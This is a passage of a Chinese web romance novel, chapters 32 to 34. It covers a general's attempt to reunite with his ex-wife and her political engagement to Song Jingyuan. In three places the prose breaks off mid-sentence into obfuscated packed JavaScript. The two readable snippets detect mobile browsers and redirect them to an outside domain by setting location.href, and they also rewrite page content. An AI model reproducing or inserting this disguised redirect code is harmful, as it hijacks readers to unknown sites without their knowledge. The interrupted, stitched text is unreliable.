令牌是皇族特属的、御赐的身份象征,这等重要的体己之物,一般不会轻易外借。除非……是借给家眷。 家眷? 岂不荒唐。 谢羡风忽而沉声道:“去把锁箧拿来。” 打开那上了锁的铜箧,里面是半截泛黄的缎带,上面的字迹早已风干而变得模糊。 他的衣橱里,还挂着她那为他缝到一半的棉袍。 想到她爱他时为他做过的种种,谢羡风不由得又感觉是自己多心了。 距离他们分开,才过去短短两年而已。 他原以为,慕溶月的存在对他而言,只不过是可有可无。 他以为,自己很快便会忘掉她,开始新的生活。 可转眼两年过去了,他不仅没有淡忘关于她的记忆,她在他心中留下的痕迹,反而随着时间的流逝而变得愈发深刻。 当年之事,他只是一时接受不了她受人利用。如今两年过去,他也渐渐想明白了。或许,他与她如今重逢于白江,便是上苍给他的一个信号,一个契机。 两年时光如白驹过隙,他尚且都没能全然走出来,想必,她也正在默默等待他的回音。 思及此,谢羡风骤然收拢手指,直到将那缎带紧攥在手心。 “去京城。” 他要摘掉面具、正大光明地见她。 32. 第三十二天 公主府,清月阁内。 杏雨笑着提裙跑在连廊上,一面朝慕溶月挥舞着手臂。 “小姐,小姐,陛下的口谕来了,说是要封小姐为平昌郡主呢!” 慕溶月听闻此事,也瞬地放下手中书卷,欣喜地站起身来。 “太好了,母亲父亲可知道此事?” “知道了,都知道了!”杏雨笑得合不拢嘴,“老夫人正传小姐去回话呢!” 慕溶月点了点头,笑道:“走,这就去。” 前些日子,她在白江千山上安民心镇定山匪一事很快就传到了皇城之内,皇帝闻言龙颜大悦,便一抬手赐了慕溶月平昌的封号,还表明不日便会召她入宫行册封之礼。 这些年,慕溶月的改变,众人皆是看在眼里。都说她与那人和离之后,仿若一夜之间长大了。她开始四处经营声名,结交京中权贵,也开始为身为御史大夫的父亲分忧,接手破获了好几桩要案,在整个京城逐步打响了名号,锋芒初露。因此,她年纪轻轻便受封为一郡之主,自然也无人敢有异议。 慕溶月来到了后厢,见到慕昭元正卧在床上,沈惠心则在旁耐心地喂他汤药。不过,令她意外的是,宋景渊也在。 “母亲,父亲。”于是,慕溶月挨个打过招呼,“……还有宋大人。” 这两年,宋景渊总是在她府里来去自由,好似把公主府当成了他的第二个家。因此,他会随时随地出现在她家中,其实也算不上什么奇闻。 只是,慕溶月还没完全习惯……习惯另一个人全然进入她的生活的感觉。 毕竟,从头再来,真的需要莫大的勇气。 慕昭元一口气喝完了汤药,支撑着身子从床榻上坐了起来,笑着看向慕溶月。 “景渊正在同我说那日的案子,说到一半,就收到了你受封郡主的喜讯,我高兴得……咳咳!”他笑得差些呛到了嘴,“好像浑身都不疼了一样……” 慕昭元受病痛折磨的身躯变得佝偻,早已没有了壮年时的意气英武。尽管他因为女儿的喜事而短暂地面露笑容,消瘦的身形却也难掩颓色。 慕溶月见父亲这般模样,心中很是酸涩。 自从去年染上一场大病,慕昭元的元气便伤了大半,他渐渐地卧病在床,许多事务都由慕溶月从旁协助打理。父亲的病弱,也是她骤然转变思想的一个主推力之一。 慕昭元感慨地拍着慕溶月的手背,“我的月儿,终是长大了。” “说到那案子……”慕溶月将心头的阴霾驱散,说回了公事,“父亲把这桩走私案交给我,我本该扮作雇主,顺藤摸瓜查出桓王招兵买马的证据……结果没想到事先被人识破,那线人也是个假的,到头来扑了个空,白白忙活一场。” “此事也怪我思虑不周。当初你说你是个女儿身,能打消几分他们的顾虑,说什么也要自己去亲自和那线人碰头。我当时就该斩钉截铁地拒绝你——如今看来,这案子远比我们想象的还要凶险复杂,稍不注意,便容易惹火上身。”慕昭元也心有余悸地感叹,“你是我和你母亲唯一的女儿,往后这种事,我是定不会再许你以身涉险了。” 气氛一时变得有些严肃。慕溶月便笑着打圆场道:“不过,塞翁失马,因祸得福,女儿得了个郡主头衔,如今也很满足了。” “罢了,”慕昭元摇了摇首,“这桩案子暂且放下罢,只要耐心等待,鱼儿总会先忍不住冒头咬钩的。” 一时间,三人脸上皆是愁云满面。为了这桩走私案,他们付出了诸多心血,如今线索又是断了,一时间都难掩落寞。 “哎呀,说了这么久,总聊些公事做什么?”沈惠心见气氛沉重,便扯开了话题,兴致盎然道,“景渊难得回一趟京城,不如就留下来吃个便饭吧?” 慕溶月看了一眼宋景渊,清了清嗓子道。 “他哪里难得来了?光是这个月便来了三回,还不算上月初他路过跑来借宿的那回呢。” “慕娘子,这是嫌弃我来得太频繁了?”宋景渊挑起眉,佯装赌气地移过头,“那我下月便不来了,说好的带你去永安逛美食节,也算作废。” “那可不行,”慕溶月又换上了一副笑脸道,“我还等着吃素芳斋的酥果呢。” 看见他们犹如挚友一般斗嘴打趣,沈惠心笑得满面春风。 其实,这两年来,沈惠心对慕溶月的变化很是心满意足,可有时也会感怀着岁月无常,摸着她的手叹道,“月儿,我总觉得你变了,变得更成熟了。” 话音落下,却是若有若无的一声轻叹,融化在了暖风里:“可我却开始有些怀念你少时贪玩,缠着母亲任性撒娇的模样了。” 每每这时,慕溶月总是无言以对,只能淡淡道。 “母亲,女儿总是会长大的。” 曾经的慕溶月也是那般娇纵任性、不谙世事,一心只为了嫁得一个如意郎君,奋不顾身、飞蛾扑火,最后却是留下一身的伤痕累累,悔之晚矣。 后来,她终是醒悟了。人的一生是山长水阔,她的生命里还远有比爱情更重要之物。 她的父母是如此疼爱她,家中只有她这一个独女,没有留下其他兄弟与她分抢家业。若她想为父母颐养晚年,她便应当付出比男子要多上十倍、百倍的努力。 沈惠心望着她,却总是笑吟吟地说。 “但愿你能遇见那个重新让你变回小女孩的良人吧。” 如今,慕溶月受封郡主,在她眼中已是事业有成。于是,沈惠心便更加积极地想要张罗起她的婚事。 旁人总称赞她有个懂事的女儿,可却只有她看出了慕溶月心底那一抹不可言说的孤单。如今的慕溶月虽然变得成熟稳重,她却鲜少再看见女儿从前那般天真烂漫、无忧无虑的笑容了。 这么些年来,慕溶月身边来来往往的追求者不少,甚至还有急着上门入赘的……但那些不过都是些贪慕虚荣的俗物,不说慕溶月,就连沈惠心也从来不屑正眼一瞧。 唯有一个人。 他与慕溶月交情匪浅,在他的面前,慕溶月终于能够放下所有顾忌,做回自己。或许那种默契无关情爱,但若能让慕溶月感到留在一个人身边轻缓松快,这何尝又不是一种独特的美好。 那个人便是宋景渊。 其实,起初沈惠心并没有动起重提婚约的念头。毕竟自从慕溶月与宋家结亲已经过去了那么久,她也并不是那强人所难之人。直到后来,慕昭元生了这场大病,把她们母女都吓坏了。 那时,朝堂之上局势动荡,以莫老将军为首的旧派一党落寞式微,以桓王为代表的新王一派则日渐兴起。而慕昭元病后,许多朝政上的纷争便显得力不从心。象征着旧时代的势力被步步削弱,外面不少党派都对慕家这块肥肉虎视眈眈,沈惠心这时迫切需要一个可靠的盟友,帮助他们在朝堂之上站稳脚跟。 宋国公是个再好不过的联姻人选。 除开这些复杂的外在因素,他与慕溶月门当户对,势均力敌。再加上沈惠心对他知根知底,便也不担心他对慕溶月生出二心。 于是,在这样的背景下,沈惠心终于向慕溶月提出了她心中所想。 本以为,慕溶月会有所不情愿。毕竟她曾经就拼命拒绝过一次这婚约,甚至还不惜联合宋景渊一起,先斩后奏地向她退婚——可没想到,这一回,慕溶月犹豫了几许,竟是点头应了下来。 沈惠心很是惊讶:“你的心思怎的转变得这样快?你不计较,要嫁给一个不爱的人了?” “既然与宋国公结姻亲对我们两家都好,我自然没有拒绝的道理。”慕溶月只缓缓道,“像我这样门楣的女子,婚姻之事,本就受多方因素牵绊,岂能只凭爱与不爱去定夺好坏?情爱与姻婚,本就是可以分开的。” 话一出口,连带慕溶月自己也是一怔。这话似曾相识,仿佛还是当初宋景渊教给她的道理。 沈惠心闻言很是动容:“月儿,你能想通这一点,母亲真的很感动。但我们家还没有沦落到要靠卖女儿来保住繁荣的地步,你不喜欢的亲事,我不会勉强你。等你真的想好了,再来告诉我。” “我真的想好了。”慕溶月却没再犹豫,直接握住了沈惠心的手,“母亲,如果一定要选,宋景渊就是个最合适的人选。” 沈惠心思索许久,最终点了点头。 于是,她那桩与宋景渊之间、被废弃了两年的婚约,就这样被重新提上了日程。 只是,转眼间两人订婚足有半年,然慕溶月却迟迟没了下一步动作。这婚期定不下来,久而久之,宋景渊便好像空有一个“未婚夫”的头衔。沈惠心担心日子一久招来非议,便私底下找慕溶月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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慕溶月这时才知是她会错意了,她太敏感,草木皆兵。慕溶月一时心虚地移开了眼神,只道:“你若是有兴趣,今晚就可以去。” “好啊,那就今晚吧。” 说完,这个话题便算是结束了。慕溶月扭头继续往前走去,逐渐又恢复了那般缄口不言、沉默的模样。 望着她漠不关心的背影,宋景渊不禁有些失笑。明明方才还在长公主跟前与他斗气拌嘴,扮出一副很想去美食节的模样。 慕娘子,为了演好这一场戏,你可真是煞费苦心啊。 宋景渊忽然有些怅然若失。 这半年来,他逐渐习惯了与她在人前扮演和睦夫妻的戏码,配合着她的步调,拿捏着该有的分寸。尽管他知道,她最终选择了自己——只不过是权衡利弊下的局势所驱。其实,他最初接近她的目的,又何尝不是如此? 他们都需要彼此的势力。相比于爱侣,他们更像是统一战线的盟友。因此,在相识的最初,他甚至会大放厥词,表明不介意她在外养面首。他需要的——也只不过是慕家女婿这个身份罢了。 如今,他已然达到了目的。 本不该要求更多。 只是,不知怎么,宋景渊感觉自己演着演着……好像一不小心就入戏太深了。 在人前,慕溶月与他相敬如宾,好似真的一对举案齐眉的神仙眷侣,甚至有不少人已经将她称作是“国公夫人”。 可只有宋景渊知道,当他们独处时,她便又变回了那个真正的自己——像一只蜷缩的刺猬,用充满防备的尖刺朝向他。一旦他试图靠近,便会被她的小刺给扎到手指。 尽管那刺是软的,并不会将手刺破,但那种密密麻麻的酥痒,却仿佛会让人上瘾的毒。 这种若即若离的感觉——尤其在近来变得愈发明显,让人难以忽视起来。 在此之前,宋景渊从未对谁有过这样的感觉——让人难以冷静,止不住地躁动,却又不敢轻易靠近,生怕将人给吓跑了。 她总是借口说需要时间,很明显,其实她的内心并没有全然容许他进入她的生活。 无论三年还是五年,他倒是有耐心可以等。怕只怕……就连她自己也说不上来那个最后的期限。 他能很明显地感到,他与慕溶月之间,只差一个契机。 一个让她彻底敞开心扉、接纳自己的契机。 其实转念想想,若他是她,那般要强的性子,却在初次求爱时就猛地栽了一个跟头——他也一定不会甘心。 解铃还须系铃人。 若想迈过那个槛,她必须面对自己的心魔。唯有告别了过去,方能开始新的人生。 宋景渊暗暗下了决心。 看来,他得设法去见某位前夫一面。 33. 第三十三天 张家门前。 谢羡风的身影犹如一座山岿然屹立在原地,一个时辰又一个时辰过去,却始终踟蹰不前。 刘彰轻咳一声,试探地问:“……将军,咱们还去京城吗?” “……”谢羡风皱着眉头,“闭嘴。” 他原本是打算去京城的。 他的车轿本来都已经向着京城的方向开出了临州城门,但他左思右想,还是半路折了回来。 这番决定太突兀,也太仓促了。这其中存在太多的变数,他不想在全然没有把握的情况下与她碰面。 于是,思来想去,谢羡风最终还是回到了这里。 回到了苏凝兰的住处。 气氛僵持了许久,谢羡风最终像是经过深思熟虑一般长叹一口气,下令道:“去敲门。” 刘彰顺从地叩门三声,直到门童将那大门打开了一条小缝,一眼看见了谢羡风这位稀客,吓得连忙将门打开。 “……谢将军?” 谢羡风没吭声,刘彰则为他传话道:“去把你们主子叫来。” 那门童“哎”了一声,连忙又钻入门内,半晌后,才灰溜溜地跑了回来,期期艾艾地解释道:“那个,两位大人,我、我们主子今日外出了,还不知道什么时候回来呢……” 刘彰回头看了一眼谢羡风,后者则是反笑了一声。 “好,那我就在这里等到他们回来为止。” 说罢,谢羡风就背靠上了马轿,闭目养神——颇有不撞南墙不回头之势。 刘彰见状,自然知道自家主子最不缺的就是耐性。他既说出这话,便是真的做得出来。他曾跪在皇殿前三天三夜,这股子执拗的劲头,这么多年一点也没变。 于是,刘彰便也做好了舍命陪君子的准备,倚靠在马轿之上,目光则紧盯在张家门前。 “这……” 那门童见这主仆俩一唱一和的架势,便知他们二人是不会肯轻易放过他了。他顿时哭丧着脸,不知所措。他不过是个小奴才呀!其实,他的两位主子这会儿都在家中,方才的话术还是主君亲自教的,只是他与主母二人都不待见谢大人,便想随便找个理由推脱不理他——可谁想到这谢大人却不依不饶,叫他该如何交差呢? 那门童苦着脸又钻回了门缝之中,果然,不一会儿,便换成张冉本人出来了。 “……谢将军真是位稀客啊,”张冉的脸色不大好看,但碍于谢羡风的身份压他一头,只好硬着头皮上前招呼道,“大人今日找我张某人可有什么要紧事?” “我不是来找你的。”谢羡风一副意料之中的表情,并没有与他多费唇舌,“我有话想对你家夫人说。” “可我家夫人说……她没什么想对你说的。”张冉皮笑肉不笑地回答,“谢大人想找的人不在我们这儿,还请移步别处吧。” 谢羡风沉默了几许,故技重施。 “……那我就在这里等到她肯见我为止。” 说罢,他继续靠回了车轿之上。 张冉痛苦地闭上眼。 真是头疼。 两年不见,这家伙怎么还成赖皮了!! 张冉只好钻回了门缝之内,过了好一会儿,才无可奈何地再度推开了门,“谢将军,请吧。” 谢羡风在小厮的带领下来到了厅堂之内,看见苏凝兰已经坐在主位上等着他了。 两年未见,苏凝兰没什么变化,只是待他态度更冷淡了。 “谢大人,找我有什么话,一次性说完吧。” 谢羡风默了许久,阴影之中双手逐渐紧攥成拳,又缓缓松开。 “我知道,苏夫人是她最好的朋友。” “两年前,是你找上我,替她向我诉苦。这一回……换我来见你。” “到了我这,还跟我打谜语呢?”苏凝兰却突然笑着打断了他的声音,“月儿的名讳,有这么烫嘴吗?就这般让你说不出口?” 谢羡风愣怔几许,才缓缓地问。 “……这两年,阿月她过得还好吗?” 话音刚落下,苏凝兰又是笑出了声。 笑够后,她只是冷冷地反问:“谢将军若真的这么关心,何不直接去问她?没必要绕这么大个圈子,跑来这里叨扰我的安宁。” “……” 谢羡风不言不语,仿若被戳中了痛处。 他做不到。 当初提出分开的是她,如今又让他以何种的面目去找她? 长久以来,他都是独来独往的个性。是慕溶月蓦地闯入了他的世界,这才打破了他生活中由来已久的平衡。 最初,他被动地被她挑选作为夫婿;最后,也是他被动地被她休弃分别两载。 直到这一刻,谢羡风才明白。 或许,在他们的关系里,他看似位居高位,受她的倾慕。可实际上,她才是那个有着绝对主导权的人。她随时可以开始与他的关系,也随时可以抽身离去,而他只能被动地接受,被动地等待。 尽管,谢羡风从不在人前提起。 但在这两年之时,他无时无刻都在想念她……想念他们的孩子。 看见雪梅时,他会想她; 逢年过节时,他会想她; 偶尔路过小摊贩,看见那精致小巧的泥面人,他会想起第一次见她时的画面; 独自犯起头风时,他一边咬牙苦熬,一边会想起她为他泡的那一盏盏暖手茶; 有时看见属下佩戴着自家夫人绣的香囊,他会后知后觉地想起她曾也为他绣过一枚; 每次挥起剑、每次骑上马,他都会想起与她缠绵的那个夜晚,他会在梦中将她按在马鞍上,看她泪眼朦胧地搂着他的颈子…… 他的思念满得几乎快要溢出来,来势汹涌,心潮澎湃;这思念让他痛苦,让他煎熬,让他仿若一步步地堕入深渊。 于是,驻守在外两年,他不允许任何人在他面前提起他的前妻。他素来不露声色,却唯独对两岁的小女孩露出心软的一面。 这样矛盾而激烈的情感,日夜折磨着他——终于在亲眼见到她的那一刹那,悉数爆发。 他终于再也装不下去了。 他想见她。 他想和她回到过去的生活。 可是…… 他该怎样才能将自己的心意宣之于口? 他想不到答案。 最后,只能凭着本能莽撞地行事——就像从前那样。总是他刚跨出第一步时,她便接连补上了剩下的九十九步。他随手给出的一点甜头,她却视若珍宝、甘之如饴。 于是,他便顺理成章地以为,这一次,也没什么不同。 只要他稍一低头,释放出信号,她便会认可他的诚心,与他和好如初。 想到这里,谢羡风不由得扭过了脸,坚定不移地看向苏凝兰。 “我想见一眼她和孩子,我希望你可以帮我。” 话音刚落,苏凝兰却像是被踩了尾巴一般,终于忍不住跳脚起来。 “你现在知道关心孩子了——你早干什么去了?” “谢羡风——你不配!你根本不配见她和孩子!” 谢羡风主动提起了孩子,仿佛又将她猛地拉回了两年前的那个日子——那时慕溶月为了拿掉这个可怜的孩儿,而命悬一线,危在旦夕。激烈的情绪在胸口涌动,苏凝兰喘着气,好久都没有缓过神来。 苏凝兰的反应这么大,超出了谢羡风的预期,他眉头一蹙,很快便意识到了不对劲的地方,进而反问道:“……孩子怎么了?” 事情发展到现在,几乎快要失控——张冉担心地拦住夫人,生怕她口不择言又吐出什么惊天语录来。可苏凝兰此时却已经停不下来了,她这口气憋了两年,若是再不发泄出来,实在是要闷出心病来。 “你不准再提那孩子了,你根本就不配当那孩子的父亲——”苏凝兰指着谢羡风的脸喝道,“我告诉你,月儿她已经同宋国公订亲了,待他们日后大婚,她的孩子自然也要归入宋国公的族谱,管宋国公叫爹爹,而你——你根本不配为人父!往后也休要再提那孩子的事,免得给他们新婚夫妻徒增晦气!” 完了。 张冉绝望地捂住脸。 话一出口,瞬间乱作了一团。屋内安静得可怕,仿佛狂风骤雨前死一般的沉寂。 刘彰手心都冒了冷汗,一边暗自打量着谢羡风的脸,试图在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573682|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情里找到一丝的怒意…… 却什么也没有。 谢羡风的双目空寡,神色是空白如纸的凝滞,一刻钟后,却是倏地失笑出声。 这一笑,却让人更是毛骨悚然了。 “你说什么?”他忽而皱起眉头,反问苏凝兰,“是她教你这么跟我说的?” “没有人教我,”此时此刻,苏凝兰的情绪已然平复了下来,冷静地看着他,“因为这就是事实。” 这一回,轮到谢羡风笑不出来了。 他失神一般地低喃着,“不可能……” 她怎么可能与别人定亲呢? 她与宋景渊曾有过一桩旧的婚约——这他是知道的。但那不是在两年前就已经废除了吗? 她为了嫁给他,亲自拒绝了和宋景渊的婚事,还闹到了皇帝面前,大费周章才求来了圣上的赐婚…… 如今,她又怎么会重提这桩已然作废的亲事? 他宁愿相信她是受了胁迫——就好比她被牵扯进了那桩军械走私案,是否其实也和宋景渊有关? 谢羡风试图找出能论证此番逻辑的蛛丝马迹,可脑海中愈发清晰的,却是那日他亲眼所见的情景。 她举着他的令牌以安民心;他将她拉上马鞍时,娴熟地搂住她的腰…… 种种的细节在脑海之中盘旋,挥散不去。 “有什么不可能的?”苏凝兰此时更是火上浇油冷笑道,“不管你接不接受,他们已然订婚这就是事实——你若不信,大可以出去打听打听。我看谢将军是在荆川待得太久了,都快忘了外面的世界成了什么样。” 话音未落,苏凝兰骤然感到一股冰冷的视线落在了她身上,令人不寒而栗。 僵持了许久,最后,谢羡风轻声开口道。 “好,那便由你告诉我,如今外面的世界成了什么样。” “这些话,我要亲口问她,”谢羡风抬起额首,语气沉稳,“我要你帮我。” 他的目光幽暗,让苏凝兰感到一股无形的压迫,却仍硬着头皮嘴硬:“……我凭什么要帮你?” 谢羡风深吸了一口气,神情森然。 “张学士如今侍奉的庞少卿,是我曾经的手下。” “若苏夫人答应帮我,我可以保他官衔往上再升一阶。如若不然……后果由你们自行承担。” 话音落下,屋内再度变得鸦雀无声。 就连一旁的刘彰也不禁瞠目结舌——他可是清楚地记得,他的主子出身微末,原先是最痛恨那些假公济私的权贵之流的。 怎么事到如今,他突然为了前妻转了性,干起了从前自己最嗤之以鼻的勾当? “你——” 苏凝兰一时无言以对,偏偏受制于人,这滋味简直十分难受。 张冉生怕再出什么大乱子,连忙低声安抚道:“夫人,夫人,冷静些,莫要气坏了身子,咱们从长计议……” 谢羡风嗤了一声,最终只扔下一句话,便扭头离去。 “好自为之,告辞。” 刘彰忙不迭转头跟上,望着主子大步流星的背影——突然醍醐灌顶了起来。 原来,谢羡风不是骤然转了性。 他只是外表看似冷静……实则已经快要疯了。 方才他撂下狠话时,那尾音分明都带着几分发颤。 就连亲信如刘彰,却也鲜少见到他这番模样,犹如脱缰的野马——不知下一秒会横冲直撞到何处。 刘彰不禁倒抽了一口凉气,加快了几分紧跟上去的步伐。 …… 谢羡风走后,苏凝兰更是气不打一处来。 “好啊,竟要挟我。”她怒极反笑,对着空气喃喃自语,“不就是想让我约人出来见个面吗?那就如你所愿!” 张冉一愣:“夫人,你真要出卖你的好姐妹啊?” “怎么可能?!月儿好不容易摆脱了这个难缠的家伙,难道我要眼睁睁看着他又把她给害了?”苏凝兰指挥道,“你快去写信,别寄去公主府——直接交给宋国公,让他来处理这事!” 张冉这时才明白了夫人的用意,意味深长地笑道:“原来如此。借花献佛,夫人这招妙啊。” 34. 第三十四天 “为什么不呢?” 闻此讯,宋景渊却是玩味地反问。 “既然谢将军这么想见他的前妻一面……为何不顺水推舟,送他个人情呢?” 闻言,苏凝兰夫妻都呆愣在了原地,以至于怀中孩子的哭闹声便显得分外刺耳。 张冉连忙轻拍孩子的后背哄着,苏凝兰则眨了眨不可思议的双眼:“宋大人……你说这话,是认真的吗?” “张学士不是一直都想升官么?”宋景渊倒不以为然一般,“正好有个机会摆在眼前,岂能错过?” “可是……”苏凝兰一时很是怀疑,“难道真要遂了他的心愿,让他就这样轻而易举地去见月儿?” 说完,张冉也一边抱着孩子,一边豪爽地接口道:“宋大人,你若是找不到推辞的借口,放心交给我即可——这个官不升也罢,不必因我而为难!” 宋景渊笑了笑,只道:“我倒不是因为这个。我本来也打算找个机会见谢将军一面,正好他自己送上门来,为何要推辞?” 说完,他又补充道:“不过,具体在哪儿碰面,如何碰面——皆要由我来安排。” 宋景渊想见谢羡风?为什么?苏凝兰虽然不明白个中原因,但也选择了相信。 毕竟宋景渊是慕溶月亲自选择的夫婿,如今两人已经定亲,自然便是同心一体,宋景渊的话,多半也就代表了慕溶月的意愿。再加上他平时待慕溶月不薄,大抵不会真的去害了她的。 于是,苏凝兰犹豫片刻,又道:“其实还有一件事我没来得及说。当时他还提起了想见月儿当初的那个孩子……我一时生气,就没把真相告诉他,只说那孩子往后要认你做爹爹。” 宋景渊微微有些惊讶,苏凝兰解释道,“于私心来说,我确实不想让他知道,月儿当初为了拿掉那个孩子都吃了多少苦头,而这些苦难都是拜他所赐——当年之事月儿已经够惨了,不能再受人轻贱了去。当然,这是我的私心。若会叫你为难,我会找机会向他说开的。” “不用,”宋景渊倏地打断道,“不用跟他说。” 苏凝兰愣了几许,宋景渊的目光在屋内环视一圈,最终落在了张冉怀中的孩子身上。 那孩子名为小钰,是苏凝兰与张冉一年前诞下的长女。虽然至今不满两岁,却生得饱满,个头比同龄孩童高出一截,模样很是机灵乖巧。 宋景渊勾唇一笑,缓缓问道:“苏夫人,你能不能答应我一件事?” 苏凝兰还不知道他葫芦里卖的是什么药,只答:“只要是我能帮上忙的,宋大人尽管开口吧。” “那天他过来……”宋景渊只悠悠地问,“还没见过小钰吧?” 苏凝兰与张冉对视一眼,一股微妙的氛围在三人之间蔓延开来。 “他来的那天,小钰正好睡下了。” “那么,”宋景渊笑得仿若温良无害,“能不能暂时借你们家的小钰用一用?” *** 华灯初上,国公府内暖光融融,歌舞升平。 京中的王公贵族聚于此番夜宴,酒食的香气在空中弥漫,气氛渐浓,众人推杯换盏,交谈甚欢,而侍女们则穿梭其间,为之添酒布菜。 看台之上,慕溶月一袭绫罗彩衣,轻纱飘舞。她端坐于琴筝之前,一曲毕,轻按琴弦,起身致谢。 观礼席上纷纷响起喝彩之声。 “能亲耳听见慕夫人献唱一曲,真是不虚此行啊。” “这慕夫人的琴乐继承了宫廷国手齐大师的特色,悠扬悦耳,真是让人过目难忘。” “慕夫人真是个品貌非凡的才女……” 慕溶月则在众人的礼视之间缓缓抬起了头。她沐浴在掌声之中,享受着此刻的欣悦。 这些年来,她变化了许多,唯独对琴艺的热爱没有减淡。 几日前,宋景渊突发奇想,想要在家中为她设宴,圆了她许久都没有对外演奏琴乐的心愿。 那受邀赴约的宾客名单很长,一眼都往不到头。慕溶月一时间暗暗吃惊,细细想来,她确是很久都没有参与过这样隆重的上流宴会了。 转念一想,宋景渊身为手眼通天的国公爷,在京中自是人脉甚广、左右逢源。是她习惯了从前待在谢家时的日子——谢羡风素来特立独行,行事作风都自成一格。他无父无母,家中人丁稀寥、无人帮衬;他行事乖张,显得与他同阶层的达官显贵格格不入,偶而冒出欲与他交好之辈,他也总是漠然置之。而自她嫁给谢羡风后,也日益受其影响,慢慢地疏于经营自己的人际圈,而逐渐被京中贵女们淡忘。 经此一事,慕溶月更是清醒了几分。她身为世家女,像这般名门望族的宴会,才该成为她的常态。 起初,在上台前,她还有些抑制不住的忐忑,毕竟她已经有太久未在公开场合弹过琴了,难免手生。 只是,当她一坐在台前,体内那股沉睡已久的感觉仿佛瞬间苏醒了。 凭着一曲荡气回肠的高山流水,她终于找回了些许从前的感觉。 那时候,她是齐国师的关门弟子,是当朝长公主的爱女,是京中声名在外的贵女,人们羡她,敬她,视她为耀眼明珠。 这滋味真是久违了。 她却很是喜欢。 而杏雨守在台前,亲眼目睹了一切,也激动得说不出话来。方才在台上拨琴时,慕溶月专注而一丝不苟,弦音在她手下犹如珠落玉盘,而她是那般雅静、端庄,犹如一朵清素淡雅的出水芙蓉。杏雨就在这时恍然大悟,或许,是她误解宋国公大人了。 当年,宋国公大人曾将慕溶月比作荷花丛中的凌波仙子……她那时还笑说国公大人不够了解她家的小姐,如今看来,他那般作比,也并非全无道理。 国公府内一片祥和,其乐融融。 而院墙内不起眼的一隅,一抹黑色的身影正倚靠在角落里。 谢羡风一袭黑衣、屹立不动,在锦衣华服的官爷之中显得并不合群。他独自站在墙角里,热闹不属于他,而他却浑然不在意,目光在人来人往之间流转,似乎在兀自寻找着什么。他无声无息地站在原地,有意地隐匿自己的痕迹,身形隐没在暗处,逐渐融入了背景之中。 他本不想来到宋景渊的地盘,总有一种自投罗网的不适感。 但苏凝兰执意叫他来,说这是她为他争取到的唯一一次能近距离见到慕溶月的机会。错过了这一回,她便无法保证下一次还能有这样的好时机。 于是,谢羡风最终还是来到了这里。 他没有在受邀名单上,而是通过某种不可说的手段,直接翻墙而入,不请自来。他也不想将这场无趣的贵族夜宴变成惊动四方的夜袭现场——于是,他将自身的影响降到最低,没有惊扰到旁人,也尽量不让外人注意到他的存在。 直到后来,隔着人潮汹涌,远远地飘来了一缕琴声。 多年来在沙场上养成的精锐的听觉,让他很快便辨识出,那是慕溶月在弹琴。 谢羡风四处遥望,寻找着琴音之源,终于见到了她。 她坐在众人目光的焦点之中,如此闪耀夺目。 这本不是谢羡风想象之中的重逢场景。 可是,他却逐渐被她的琴声而吸引,慢慢忘了自己正身处哪里。 她的琴艺的确很好,只是他不通琴法,于是,她便也鲜少在他面前摆弄这些。这么多年来,他只听过寥寥几次,却让他印象深刻,记忆犹新。 琴声依旧在流淌,直到一曲结束,演出落幕。 谢羡风的神色也逐渐沉郁了下去。 两年前,慕溶月要与他诀别之时,他曾主动开口,希望她能为他弹上最后的一曲。 那时,慕溶月推辞了。 那日她不愿弹奏的琴声,如今,他终是以这种方式再度听到了。 谢羡风一时攥紧双拳,最终却又无力地松开。 她是如此的璀璨夺目,光耀到他甚至犹豫了上前的脚步。 他这双手被无数人的鲜血浸润过,他的身上染着脏污,仿佛只要靠近她,便会让她洁白无瑕的裙摆也沾上秽浊。 她站在高台之上,而他藏在阴影之中;那距离分明触手可及,却宛如光与影的两面,咫尺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582380|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是天涯。 从什么时候起……她变得如此遥不可及? 酸涩感冉冉膨胀、扭曲。 谢羡风望向慕溶月,情不自禁开始嫉妒起了她身边的每一个奉承之人。他多想不管不顾地就此冲上台去,按住她的唇,将她带离这个喧嚣之地,让她自此被雪藏起来……从此往后,那双雪白如脂的手,只能弹琴给他听;那片柔嫩红润的唇,只能在他的耳畔低声吟唱。 可他很快便清醒了过来。 这终究只是幻想。 就在他双目茫然之时,另一道身影赫然闯入了他的视线—— 宋景渊不知何时已然走上了台前,正大光明地站在了慕溶月的身边,伸出手,轻揽她的腰肢,在众目睽睽之下,将她带下了台去。 就这样自然而然地将谢羡风的幻想变成了现实。 这番旁若无人、亲密无间的举动,很快便引来了哄声一片。 在众人的哄笑声中,他与她交头耳语,言笑晏晏。而他的怀中,还抱着一个年幼痴笑的孩童。 那小女孩圆润的脸,憨态可掬的笑……皆是猛地刺痛了谢羡风的双眼。 难道……苏凝兰那日所说的话都是真的? 他从未想过,有朝一日,会在这样的情景下与她……与他们的孩子相认。 …… 宋景渊抵着慕溶月的额头,在她耳边低低地赞叹道:“今天表现得不错,不愧是我的夫人。” 他感到慕溶月的身子蓦地一僵,但很快便稳住重心没有当面躲开他。只是,她没有顺势接过他的话题,而是转将他怀中的小女孩抱在了手臂里,笑着问她:“小钰,你怎么也来了?” 